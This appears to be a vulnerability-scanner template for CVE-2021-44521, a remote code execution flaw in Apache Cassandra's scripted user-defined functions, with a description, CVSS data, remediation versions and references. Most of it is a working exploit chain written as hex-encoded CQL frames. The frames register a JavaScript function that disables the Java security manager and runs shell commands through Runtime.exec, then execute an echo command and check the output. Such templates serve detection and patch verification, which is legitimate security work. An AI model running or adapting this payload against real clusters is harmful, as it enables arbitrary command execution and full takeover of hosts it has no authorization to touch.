When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.
PoC
id: CVE-2021-44521
info:
name: Apache Cassandra Load UDF RCE
author: Y4er
severity: critical
description: 'When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.'
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code with the privileges of the Cassandra process, potentially leading to a complete compromise of the affected system.
remediation: 3.0.x users should upgrade to 3.0.26, 3.11.x users should upgrade to 3.11.12, 4.0.x users should upgrade to 4.0.2
reference:
- https://y4er.com/post/cve-2021-44521-apache-cassandra-udf-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2021-44521
- https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
- https://lists.apache.org/thread/y4nb9s4co34j8hdfmrshyl09lokm7356
- http://www.openwall.com/lists/oss-security/2022/02/11/4
- https://thesecmaster.com/how-to-fix-apache-cassandra-rce-vulnerability-cve-2021-44521/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2021-44521
cwe-id: CWE-732,CWE-94
epss-score: 0.91236
epss-percentile: 0.99632
cpe: cpe:2.3:a:apache:cassandra:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: cassandra
shodan-query: cpe:"cpe:2.3:a:apache:cassandra"
tags: cve,cve2021,network,rce,apache,cassandra,tcp,vuln
tcp:
- host:
- "{{Hostname}}"
- "{{Host}}:9042"
inputs:
- data: "050000000500000000"
type: hex
read: 1024
- data: "0500000101000000530003000b4452495645525f4e414d450016446174615374617820507974686f6e20447269766572000e4452495645525f56455253494f4e0006332e32352e30000b43514c5f56455253494f4e0005332e342e35"
type: hex
read: 1024
- data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
type: hex
read: 1024
- data: "7f0002a6a69f0500000407000000760000005e435245415445204b4559535041434520746573742057495448207265706c69636174696f6e203d207b27636c617373273a202753696d706c655374726174656779272c20277265706c69636174696f6e5f666163746f7227203a20317d3b0001000000340000006400080005d82cc8ca390f0ddce06b"
type: hex
read: 1024
- data: "7d000296664f0500000807000000740000005c435245415445205441424c4520746573742e7263652028636d642076617263686172205052494d415259204b455929205749544820636f6d6d656e743d27496d706f7274616e742062696f6c6f676963616c207265636f726473273b0001000000340000006400080005d82cc8cb2fc161951510"
type: hex
read: 1024
- data: "1c030291ff34050000100700000313000002fb637265617465206f72207265706c6163652046554e4354494f4e20746573742e657865632820636d64207465787420290d0a2020202052455455524e53204e554c4c204f4e204e554c4c20494e5055540d0a2020202052455455524e5320746578740d0a202020204c414e4755414745206a6176617363726970740d0a2020202041532024240d0a202020207661722053797374656d203d204a6176612e7479706528226a6176612e6c616e672e53797374656d22293b53797374656d2e73657453656375726974794d616e61676572286e756c6c293b0d0a202020207661722065203d746869732e656e67696e652e666163746f72792e736372697074456e67696e652e6576616c2827766172206f736e616d65203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226f732e6e616d6522293b6f736e616d65203d206f736e616d652e746f4c6f7765724361736528293b7661722073706c6974203d206f736e616d652e73746172747357697468282277696e2229203f20222f6322203a20222d63223b76617220636d6450617468203d206f736e616d652e73746172747357697468282277696e2229203f2022636d6422203a202262617368223b76617220636f6d6d616e64203d2022272b636d642b27223b7661722073203d205b636d64506174682c2073706c69742c20636f6d6d616e645d3b70203d206a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e657865632873293b766172206272203d206e6577206a6176612e696f2e4275666665726564526561646572286e6577206a6176612e696f2e496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b766172207265733d22223b7768696c652028286c203d2062722e726561644c696e6528292920213d206e756c6c29207b202020207265732b3d6c3b7265732b3d6a6176612e6c616e672e53797374656d2e6c696e65536570617261746f7228293b7d27293b0d0a20202020653b0d0a2020202024243b0001000000340000006400080005d82cc8cc7ece89646c85"
type: hex
read: 1024
- data: "51000278033505000014070000004800000030696e7365727420696e746f20746573742e72636528636d64292076616c75657328276563686f2031323331323327293b0001000000340000006400080005d82cc8cd5b810ef0b16e"
type: hex
read: 1024
- data: "450002bff1d805000015070000003c0000002473656c65637420746573742e6578656328636d64292066726f6d20746573742e7263653b0001000000340000006400080005d82cc8cd99d444271281"
type: hex
read: 1024
- data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
type: hex
read: 1024
matchers:
- type: word
part: raw
words:
- "123123"
# digest: 4a0a00473045022100b0387d27283f0d70dc53cfb85d96388ba415f08386fd94e40e2a2f9975627030022061169eef311fe1c41f92b389b93bb50b2d25e605e44baddbd6e274e6000b6e11:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.